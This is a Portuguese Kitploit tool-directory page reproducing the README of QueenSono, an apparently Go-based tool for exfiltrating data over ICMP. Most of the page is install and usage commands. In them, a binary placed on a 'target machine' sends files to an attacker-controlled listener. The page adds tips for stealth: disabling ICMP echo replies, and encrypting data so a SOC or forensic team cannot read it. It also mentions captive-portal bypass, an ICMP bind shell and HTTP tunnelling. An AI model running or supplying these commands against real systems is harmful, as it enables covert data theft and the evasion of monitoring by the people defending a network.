Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
QueenSono — Binário Golang para exfiltração de dados com protocolo ICMP (+ bindshell ICMP, tunelamento HTTP sobre ICMP, ...) | Kitploit
Ferramentas/GitHubGitHub/ariary/queensono
Exfiltração de DadosSegurança de RedeTestes de PenetraçãoComando e ControleRed Teaming
GitHubariary/queensono

QueenSono

Binário Golang para exfiltração de dados com protocolo ICMP (+ bindshell ICMP, tunelamento HTTP sobre ICMP, ...)

Ver Repositório
16827há 3 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

QueenSono Exfiltração de Dados ICMP



Um pacote Golang para Exfiltração de Dados com protocolo ICMP (IPv4 & IPv6).

A ferramenta QueenSono baseia-se apenas no fato de que o protocolo ICMP não é monitorado. É bastante comum. Também poderia ser usado em um sistema com inspeção básica de ICMP (isto é, monitor de frequência e comprimento de conteúdo) ou para contornar a etapa de autenticação com captive portal (usado por muitos Wi‑Fis públicos para autenticar usuários após conectar ao Wi‑Fi, por exemplo, Wi‑Fi de aeroportos). Tenta imitar PyExfil (e outros) com a ideia de que a máquina alvo não necessariamente tenha Python instalado (portanto, fornecer um binário pode ser útil).

Instale-o · Use-o · Notas · Solicitar Funcionalidade · 🎁

Instalar

Com curl

> A partir do release

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

Com go

> Via go install

Certifique-se de que $GOPATH está no seu $PATH antes

Instalar qssender

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary

Instalar qsreceiver

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary

> Instalar o binário a partir do código fonte

Clone o repositório e baixe as dependências localmente:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Para construir o emissor de pacotes ICMP qssender :

root@kitploit:~
 build.queensono-sender

Para construir o receptor de pacotes ICMP qsreceiver :

root@kitploit:~
 build.queensono-receiver

Uso

qssender é o binário que enviará pacotes ICMP para o ouvinte, portanto é o binário que você precisa transferir para a máquina alvo.

qsreceiver é o ouvinte na sua máquina local (ou onde quer que você possa receber pacotes ICMP)

Todos os comandos e flags dos binários podem ser encontrados usando --help

Exemplo 1: Enviar com "ACK" 🔙

> Neste exemplo, queremos enviar um arquivo grande e aguardar o echo reply para confirmar o recebimento dos pacotes (ACK).

demo

Na máquina local:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Explicação
  • -l 0.0.0.0 escuta em todas as interfaces para pacotes ICMP
  • -f received_bible.txt salva os dados recebidos em um arquivo
  • -p mostra uma barra de progresso dos dados recebidos
  • Na máquina alvo:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #baixar um arquivo grande (para o exemplo)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    Explicação
  • send file para enviar arquivo (bible.txt é o arquivo em questão)
  • -d 2 envia um pacote a cada 2 segundos
  • -l 0.0.0.0 o endereço de escuta para echo reply
  • -r 10.0.0.92 o endereço da minha máquina remota com qsreceiver ouvindo
  • -s 50000 o tamanho dos dados que quero enviar em cada pacote
  • Exemplo 2: Enviar sem "ACK" 🙈

    > Neste exemplo, queremos enviar uma mensagem sem aguardar o echo reply (pode ser útil caso o firewall alvo filtre pacotes ICMP de entrada)

    demo

    Na máquina local:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    Explicação
  • receive truncated 1 não espera indefinidamente se não recebermos todos os pacotes. (1 é o atraso usado com qssender)

  • para furtividade, você pode impedir o kernel de responder a qualquer ping ICMP
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    Na máquina alvo:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    Explicação
  • -N opção noreply (não aguardar echo reply)
  • Exemplo 3: Enviar dados criptografados 🔒

    > Neste exemplo, queremos enviar uma mensagem criptografada. Como a linha de comando pode ser espionada, usamos criptografia assimétrica (se a chave vazar, não é um problema)

    demo

    Na máquina local:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <OUTPUT PUBLIC KEY>
    
    Explicação
  • --encrypt usa troca de criptografia. Irá gerar chave pública/privada. A chave pública será usada por qssender para criptografar dados, a privada é usada para descriptografar com receiver
  • Na máquina alvo:

    root@kitploit:~
    $ export MSG="<your message>"
    $ export KEY="<public_key_from_qsreceiver_output>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    Explicação
  • --key fornece a chave para criptografia de dados. Use a fornecida pelo comando qsreceiver
  • Sobre criptografia

    A criptografia RSA é usada para manter a confidencialidade dos dados trocados. Pode ser útil, por exemplo, para evitar que um SoC veja quais dados estão sendo trocados (ou forense) com análise básica ou simplesmente por privacidade.

    Mas isso tem um custo. A escolha da criptografia assimétrica é motivada pelo fato de que a chave de criptografia é inserida na linha de comando (portanto, pode ser recuperada facilmente). Portanto, criptografamos dados com a chave pública. Dessa forma, se alguém recuperar a chave de criptografia, não será possível descriptografar a mensagem. Mas a chave pública é menor que a privada, então ela criptografa mensagens menores. Além disso, é computacionalmente cara.

    Outro ponto, como queremos limitar o tamanho dos dados/solicitações de ping (para evitar detecção, bugs, etc), use criptografia apenas se necessário, pois o tamanho da saída da mensagem sempre será (deverá) igual ao tamanho do Módulo (parte da chave), que é grande.

    Melhoria

    Atualmente, toda a mensagem é criptografada e depois dividida em partes para ser enviada. Do outro lado, aguardamos todos os pacotes (partes), reconstruímos nossa mensagem e a descriptografamos. Mas funciona ⇔ recebemos TODAS as partes, caso contrário a descriptografia falhará.

    => Poderíamos criptografar cada parte de acordo com o parâmetro -s, assim poderíamos descriptografá-las separadamente.

    Exemplo 4: Receber dados via echo reply ↩️

    > Neste exemplo, a máquina local envia dados de volta para o alvo através de respostas de echo ICMP. Útil quando o ICMP de saída do alvo é filtrado, mas o alvo pode receber respostas de echo.

    Na máquina local:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    Explicação
  • reply-send aguarda um gatilho de qssender e depois envia dados de volta como respostas de echo ICMP
  • -l 0.0.0.0 escuta em todas as interfaces para o pacote de gatilho
  • -d 1 atraso de 1 segundo entre cada pacote de resposta
  • Na máquina alvo:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    Explicação
  • receive envia um gatilho para qsreceiver e coleta dados de respostas de echo recebidas
  • -l 0.0.0.0 o endereço de escuta para respostas de echo recebidas
  • -r 10.0.0.92 o endereço da minha máquina local com qsreceiver reply-send aguardando
  • Suporte IPv6

    QueenSono suporta ICMPv6 de forma transparente. Passe um endereço IPv6 e o protocolo é detectado automaticamente — não são necessárias flags extras.

    Na máquina local:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    Na máquina alvo:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    Explicação
  • -l :: escuta em todas as interfaces IPv6
  • -r fe80::1 endereço IPv6 da máquina remota — ativa ICMPv6 automaticamente
  • Todos os modos (enviar com ACK, enviar sem ACK, criptografado, resposta de echo) funcionam da mesma forma sobre IPv6.

    Bônus

    Veja a seção hack para coisas divertidas com QueenSono:

    • Bind shell usando ICMP
    • Tunelamento HTTP sobre ICMP

    Notas

    • funciona apenas no Linux (devido ao uso do pacote golang net icmp)
    • necessita de capacidades cap_net_raw
    • suporta tanto IPv4 (ICMP) quanto IPv6 (ICMPv6) — detectado automaticamente a partir do endereço
    • se você realmente enviar pacotes ICMP em 2 máquinas diferentes e aguardar o echo reply, certifique-se de usar um IP acessível pela máquina remota como endereço de escuta (não use localhost ou equivalente)
    Baixar ferramenta